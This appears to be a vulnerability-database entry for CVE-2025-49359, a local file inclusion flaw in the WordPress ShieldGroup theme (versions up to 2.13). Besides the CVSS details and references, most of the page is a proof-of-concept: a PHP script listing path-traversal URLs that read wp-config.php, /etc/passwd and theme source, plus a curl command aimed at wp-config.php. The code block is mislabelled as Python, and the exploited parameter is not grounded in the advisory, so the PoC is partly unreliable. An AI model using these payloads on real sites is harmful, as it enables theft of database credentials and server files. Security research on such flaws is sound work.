CVE-2025-49359

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes ShieldGroup shieldgroup allows PHP Local File Inclusion.This issue affects ShieldGroup: from n/a through <= 2.13.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ShieldGroup Theme <= 2.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-49359 - ShieldGroup Theme Local File Inclusion PoC
 * Target: WordPress ShieldGroup Theme <= 2.13
 * Type: Local File Inclusion
 * Author: Security Researcher
 * Note: For authorized testing only
 */

// Basic LFI PoC - Read system files
$poc_urls = [
    // Read wp-config.php (database credentials)
    "http://target.com/wp-content/themes/shieldgroup/?theme=../../wp-config.php%00",
    
    // Read /etc/passwd
    "http://target.com/wp-content/themes/shieldgroup/?theme=../../../../../../etc/passwd%00",
    
    // Read PHP source files
    "http://target.com/wp-content/themes/shieldgroup/?theme=../../wp-content/themes/shieldgroup/functions.php%00",
    
    // Windows target
    "http://target.com/wp-content/themes/shieldgroup/?theme=..\..\..\..\windows\system32\drivers\etc\hosts"
];

// Example curl command for testing:
// curl -i 'http://target.com/wp-content/themes/shieldgroup/?theme=../../wp-config.php%00'
// 
// If vulnerable, the content of wp-config.php will be displayed,
// potentially exposing database credentials, API keys, etc.

echo "CVE-2025-49359 LFI PoC\n";
echo "Target: WordPress ShieldGroup Theme <= 2.13\n";
echo "Vulnerability: Local File Inclusion\n";
echo "\nTest URLs:\n";
foreach ($poc_urls as $url) {
    echo "- $url\n";
}
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49359
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49359
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49359/
[4] VulDB https://vuldb.com/cve/CVE-2025-49359
[5] https://patchstack.com/database/Wordpress/Theme/shieldgroup/vulnerability/wordpress-shieldgroup-theme-2-13-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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